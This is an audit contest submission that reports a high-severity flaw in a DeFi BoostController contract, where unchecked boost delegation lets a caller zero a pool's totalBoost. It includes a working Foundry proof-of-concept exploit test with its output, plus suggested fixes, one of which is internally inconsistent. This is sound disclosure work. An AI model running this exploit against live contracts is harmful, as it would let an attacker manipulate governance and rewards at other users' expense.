Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Boost Balance Validation and Pool Boost Manipulation via Delegation Exploitation.

Summary

The BoostController contract contains a critical vulnerability in the delegateBoost and updateUserBoost functions. These issues allow a malicious delegator to:

  1. Delegate more boost than they actually have, leading to unfair reward distribution, governance manipulation, and financial instability.

  2. Artificially reduce a pool’s totalBoost to zero, impacting the pool’s reward distribution and voting power.

These issues arise because:

  • The delegateBoost function incorrectly validates delegation eligibility using the veToken balance instead of the actual boost balance calculated via _calculateBoost.

  • The updateUserBoost function fails to account for artificially high delegations, allowing attackers to drain a pool’s totalBoost.

This vulnerability can be exploited to severely damage the protocol’s governance, financial stability, and fairness in reward distribution.

Vulnerability Details

1. Incorrect Validation in delegateBoost

The delegateBoost function currently checks the user’s veToken balance instead of their actual boost balance before allowing delegation:

uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();

Why This Is Wrong?

  • The veToken balance does not represent the actual boost balance available for delegation.

  • Attackers can bypass the check by holding a large veToken balance, even if they don’t have the required boost balance.

  • This allows attackers to delegate excessive boosts, granting unfair governance power and reward distribution.

Correct Approach:

  • Use _calculateBoost to validate the actual boost balance before allowing delegation.

  • The correct condition should be:

uint256 userBoostBalance = _calculateBoost(msg.sender, to, amount);
if (userBoostBalance < amount) revert InsufficientBoostBalance();

2. Pool Boost Draining via updateUserBoost

A malicious delegator can manipulate the updateUserBoost function to artificially reduce a pool’s totalBoost to zero.

How the Attack Works?

  1. Malicious Delegation:

    • The attacker delegates a large amount (e.g., 12000) to a pool.

    • The contract accepts the delegation due to incorrect veToken validation (as explained earlier).

  2. Calling updateUserBoost:

    • The function calculates the old boost (which is 12000) and a new boost (e.g., 10500).

    • If the pool’s totalBoost was initially 1500, the following code executes:

    if (newBoost >= oldBoost) {
    poolBoost.totalBoost = poolBoost.totalBoost + (newBoost - oldBoost);
    } else {
    poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
    }
    • Since oldBoost - newBoost = 12000 - 10500 = 1500, and the pool’s totalBoost was only 1500, the result is:

    poolBoost.totalBoost = poolBoost.totalBoost - 1500; // Becomes 0
    • The entire pool’s boost gets wiped out, completely eliminating its influence in reward distribution and governance.

Impact of This Attack:

  • Zeroing Out a Pool’s Boost: Attackers can strategically drain a pool’s boost, making it lose all influence in governance and financial rewards.

  • Economic Damage: This could result in a loss of rewards for legitimate users, discouraging participation in the protocol.

  • Governance Takeover: By repeatedly executing this attack, malicious actors can shift power towards specific pools they control.

Proof of Concept

Exploit Scenario: Boost Delegation Manipulation

  1. Setup:

    • Assume an attacker has 500 veTokens but has a true boost balance of only 200.

    • They call delegateBoost(to, 12000, duration), and because the function checks veToken balance instead of boost balance, the transaction succeeds.

    • The pool’s totalBoost is now incorrectly inflated.

  2. Executing the Attack (Boost Drain):

    • The attacker calls updateUserBoost.

    • The new boost is calculated as 10500, while the old boost was 12000.

    • The pool’s totalBoost is 1500, and after the operation, it becomes 0, eliminating the pool’s influence.

Code PoC (similar to above scenario)

To demonstrate this vulnerability, the following Proof of Concept (PoC) is provided. The PoC is written using the Foundry tool.

  1. Step 1: Create a Foundry project and place all the contracts in the src directory.

  2. Step 2: Create a test directory and a mocks folder within the src directory (or use an existing mocks folder).

  3. Step 3: Create all necessary mock contracts, if required.

  4. Step 4: Create a test file (with any name) in the test directory.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {veRAACToken} from "../src/core/tokens/veRAACToken.sol";
import {RAACToken} from "../src/core/tokens/RAACToken.sol";
import {TimelockController} from "../src/core/governance/proposals/TimelockController.sol";
import {Governance} from "../src/core/governance/proposals/Governance.sol";
import {BoostController} from "../src/core/governance/boost/BoostController.sol";
import {TimeWeightedAverage} from "../src/libraries/math/TimeWeightedAverage.sol";
import {LockManager} from "../src/libraries/governance/LockManager.sol";
import {IveRAACToken} from "../src/interfaces/core/tokens/IveRAACToken.sol";
import {IGovernance} from "../src/interfaces/core/governance/proposals/IGovernance.sol";
contract GovernanceTest is Test {
veRAACToken veRaacToken;
RAACToken raacToken;
TimelockController timelockController;
Governance governance;
BoostController boostController;
address RAAC_OWNER = makeAddr("RAAC_OWNER");
address RAAC_MINTER = makeAddr("RAAC_MINTER");
uint256 initialRaacSwapTaxRateInBps = 200; // 2%, 10000 - 100%
uint256 initialRaacBurnTaxRateInBps = 150; // 1.5%, 10000 - 100%
address VE_RAAC_OWNER = makeAddr("VE_RAAC_OWNER");
address ALICE = makeAddr("ALICE");
address BOB = makeAddr("BOB");
address CHARLIE = makeAddr("CHARLIE");
address DEVIL = makeAddr("DEVIL");
address BIG_E = makeAddr("BIG_E");
address XAVIER_WOODS = makeAddr("XAVIER_WOODS");
address KOFI_KINGSTON = makeAddr("KOFI_KINGSTON");
address PROPOSER_1 = makeAddr("PROPOSER_1");
address PROPOSER_2 = makeAddr("PROPOSER_2");
address PROPOSER_3 = makeAddr("PROPOSER_3");
address PROPOSER_4 = makeAddr("PROPOSER_4");
address PROPOSER_5 = makeAddr("PROPOSER_5");
address EXECUTOR_1 = makeAddr("EXECUTOR_1");
address EXECUTOR_2 = makeAddr("EXECUTOR_2");
address EXECUTOR_3 = makeAddr("EXECUTOR_3");
address EXECUTOR_4 = makeAddr("EXECUTOR_4");
address EXECUTOR_5 = makeAddr("EXECUTOR_5");
address TIMELOCK_OWNER = makeAddr("TIMELOCK_OWNER");
address GOVERNANCE_OWNER = makeAddr("GOVERNANCE_OWNER");
address BOOST_CONTROLLER_OWNER = makeAddr("BOOST_CONTROLLER_OWNER");
uint256 timelockControllerMinDelay = 2 days;
address[] private proposers;
address[] private executors;
address admin;
address[] private proposalTargets;
uint256[] private proposalValues;
bytes[] private proposalCalldatas;
string private proposalDescription;
IGovernance.ProposalType proposalProposalType;
function setUp() public {
raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
vm.startPrank(VE_RAAC_OWNER);
veRaacToken = new veRAACToken(address(raacToken));
vm.stopPrank();
vm.startPrank(BOOST_CONTROLLER_OWNER);
boostController = new BoostController(address(veRaacToken));
vm.stopPrank();
proposers.push(PROPOSER_1);
proposers.push(PROPOSER_2);
proposers.push(PROPOSER_3);
proposers.push(PROPOSER_4);
proposers.push(PROPOSER_5);
executors.push(EXECUTOR_1);
executors.push(EXECUTOR_2);
executors.push(EXECUTOR_3);
executors.push(EXECUTOR_4);
executors.push(EXECUTOR_5);
vm.startPrank(TIMELOCK_OWNER);
TimelockController tempTimelockController =
new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
timelockController = new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
vm.stopPrank();
vm.startPrank(GOVERNANCE_OWNER);
governance = new Governance(address(veRaacToken), address(tempTimelockController));
governance.setTimelock(address(timelockController));
vm.stopPrank();
proposalTargets.push(address(tempTimelockController));
proposalValues.push(0);
proposalCalldatas.push(abi.encodeWithSignature("setValue(uint256)", 42));
proposalDescription = "Proposal String";
proposalProposalType = IGovernance.ProposalType.ParameterChange;
vm.startPrank(TIMELOCK_OWNER);
timelockController.grantRole(timelockController.PROPOSER_ROLE(), address(governance));
timelockController.grantRole(timelockController.EXECUTOR_ROLE(), address(governance));
timelockController.grantRole(timelockController.CANCELLER_ROLE(), address(governance));
vm.stopPrank();
getveRaacTokenForProposer();
}
function getveRaacTokenForProposer() private {
uint256 LOCK_AMOUNT = 10_000_000e18;
uint256 LOCK_DURATION = 365 days;
vm.startPrank(RAAC_OWNER);
raacToken.setMinter(RAAC_MINTER);
vm.stopPrank();
vm.startPrank(RAAC_MINTER);
raacToken.mint(PROPOSER_1, LOCK_AMOUNT);
raacToken.mint(PROPOSER_2, LOCK_AMOUNT);
raacToken.mint(PROPOSER_3, LOCK_AMOUNT);
raacToken.mint(PROPOSER_4, LOCK_AMOUNT);
raacToken.mint(PROPOSER_5, LOCK_AMOUNT);
raacToken.mint(ALICE, LOCK_AMOUNT);
raacToken.mint(BOB, LOCK_AMOUNT);
raacToken.mint(CHARLIE, LOCK_AMOUNT);
raacToken.mint(DEVIL, LOCK_AMOUNT);
raacToken.mint(BIG_E, 1_000_000e18);
raacToken.mint(XAVIER_WOODS, 1_000_000e18);
raacToken.mint(KOFI_KINGSTON, 1_000_000e18);
vm.stopPrank();
vm.startPrank(PROPOSER_1);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_2);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_3);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_4);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_5);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(ALICE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(BOB);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(CHARLIE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(DEVIL);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(BIG_E);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(XAVIER_WOODS);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(KOFI_KINGSTON);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
}
}
  1. Step 5: Add the following test PoC in the test file, after the setUp function.

function testAttackersOrUsersCanDelegateAboveAvailableBoostBalance() public {
// warping to ~six months, veToken voting power might decayed half
vm.warp(block.timestamp + 365 days / 2);
address poolAddress = makeAddr("DUMMY_POOL");
vm.startPrank(BOOST_CONTROLLER_OWNER);
boostController.modifySupportedPool(poolAddress, true);
vm.stopPrank();
(uint256 amount, uint256 expiry, address delegatee, uint256 userLastUpdateTime) =
boostController.getUserBoost(DEVIL, poolAddress);
console.log("devil's boost info before delegation...");
console.log("amount : ", amount);
console.log("expiry : ", expiry);
console.log("delegatee : ", delegatee);
console.log("userLastUpdateTime: ", userLastUpdateTime);
vm.startPrank(ALICE);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(ALICE, poolAddress);
vm.stopPrank();
vm.startPrank(BOB);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(BOB, poolAddress);
vm.stopPrank();
vm.startPrank(CHARLIE);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(CHARLIE, poolAddress);
vm.stopPrank();
vm.startPrank(BIG_E);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(BIG_E, poolAddress);
vm.stopPrank();
vm.startPrank(XAVIER_WOODS);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(XAVIER_WOODS, poolAddress);
vm.stopPrank();
vm.startPrank(KOFI_KINGSTON);
boostController.delegateBoost(poolAddress, 10_000, 7 days);
boostController.updateUserBoost(KOFI_KINGSTON, poolAddress);
(uint256 totalBoost, uint256 workingSupply, uint256 baseSupply, uint256 lastUpdateTime) =
boostController.getPoolBoost(poolAddress);
console.log("pool's boost before devil's delegation...");
console.log("totalBoost : ", totalBoost);
console.log("workingSupply : ", workingSupply);
console.log("baseSupply : ", baseSupply);
console.log("lastUpdateTime: ", lastUpdateTime);
// in bound min and max boost (1x - 2.5x)
(, uint256 devilCalculatedBoost) = boostController.calculateBoost(DEVIL, poolAddress, 10000);
console.log("devilCalculatedBoost: ", devilCalculatedBoost);
// we know that devil's boosted amount should be devilCalculatedBoost
// devil attacks
vm.startPrank(DEVIL);
boostController.delegateBoost(poolAddress, 11612 + totalBoost, 7 days);
boostController.updateUserBoost(DEVIL, poolAddress);
vm.stopPrank();
(amount, expiry, delegatee, userLastUpdateTime) = boostController.getUserBoost(DEVIL, poolAddress);
console.log("devil's boost info after delegation...");
console.log("amount : ", amount);
console.log("expiry : ", expiry);
console.log("delegatee : ", delegatee);
console.log("userLastUpdateTime: ", userLastUpdateTime);
(totalBoost, workingSupply, baseSupply, lastUpdateTime) = boostController.getPoolBoost(poolAddress);
console.log("pool's boost after devil's delegation...");
console.log("totalBoost : ", totalBoost);
console.log("workingSupply : ", workingSupply);
console.log("baseSupply : ", baseSupply);
console.log("lastUpdateTime: ", lastUpdateTime);
vm.warp(block.timestamp + 7 days + 1);
// even removing delegation can't fix the attack
vm.startPrank(poolAddress);
boostController.removeBoostDelegation(DEVIL);
vm.stopPrank();
(totalBoost, workingSupply, baseSupply, lastUpdateTime) = boostController.getPoolBoost(poolAddress);
console.log("pool's boost after removing devil's delegation...");
console.log("totalBoost : ", totalBoost);
console.log("workingSupply : ", workingSupply);
console.log("baseSupply : ", baseSupply);
console.log("lastUpdateTime: ", lastUpdateTime);
}
  1. Step 6: To run the test, execute the following commands in your terminal:

forge test --mt testAttackersOrUsersCanDelegateAboveAvailableBoostBalance -vv
  1. Step 7: Review the output.

[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/GovernanceTest.t.sol:GovernanceTest
[PASS] testAttackersOrUsersCanDelegateAboveAvailableBoostBalance() (gas: 860367)
Logs:
devil's boost info before delegation...
amount : 0
expiry : 0
delegatee : 0x0000000000000000000000000000000000000000
userLastUpdateTime: 0
pool's boost before devil's delegation...
totalBoost : 5319
workingSupply : 10161
baseSupply : 0
lastUpdateTime: 15768001
devilCalculatedBoost: 10806
devil's boost info after delegation...
amount : 11612
expiry : 16372801
delegatee : 0x61f66E9ad8A6E4Ef9A663B23F497189574b95D5C
userLastUpdateTime: 15768001
pool's boost after devil's delegation...
totalBoost : 0
workingSupply : 11612
baseSupply : 0
lastUpdateTime: 15768001
pool's boost after removing devil's delegation...
totalBoost : 0
workingSupply : 0
baseSupply : 0
lastUpdateTime: 16372802
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.88ms (1.45ms CPU time)
Ran 1 test suite in 15.47ms (11.88ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As demonstrated, the test confirms that the (delegatee) pools's boost total amount becomes zero and it can't be fixed even after removing malicious delegation.

Impact

1. Governance Manipulation

  • Attackers can delegate massive boosts to influence governance votes unfairly.

  • Pools with legitimate users lose governance control.

2. Reward Distribution Exploitation

  • Attackers can drain pools of boost and redirect rewards to attacker-controlled pools.

  • This leads to unfair economic gains for malicious actors.

3. Financial Instability

  • The protocol’s stability relies on accurate boost calculations.

  • By delegating fake boosts and zeroing out pool boosts, attackers create financial chaos.

Tools Used

  • Manual Reviwe

  • Foundry


Recommendations

1. Fix delegateBoost Validation

Current Code:

uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();

Fixed Code (Correct Boost Check):

- uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
- if (userBalance < amount) revert InsufficientVeBalance();
+ uint256 userBoostBalance = _calculateBoost(msg.sender, to, amount);
+ if (userBoostBalance < amount) revert InsufficientBoostBalance();

2. Prevent Pool Boost Draining in updateUserBoost

Current Code:

if (newBoost >= oldBoost) {
poolBoost.totalBoost = poolBoost.totalBoost + (newBoost - oldBoost);
} else {
poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
}

Fixed Code (Preventing Negative Boost Impact):

- else {
- poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
- }
+ else if (poolBoost.totalBoost >= (oldBoost - newBoost)) {
+ poolBoost.totalBoost = poolBoost.totalBoost - (oldBoost - newBoost);
+ } else {
+ poolBoost.totalBoost = 0; // Prevent pool from being zeroed out
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::delegateBoost lacks total delegation tracking, allowing users to delegate the same veTokens multiple times to different pools for amplified influence and rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.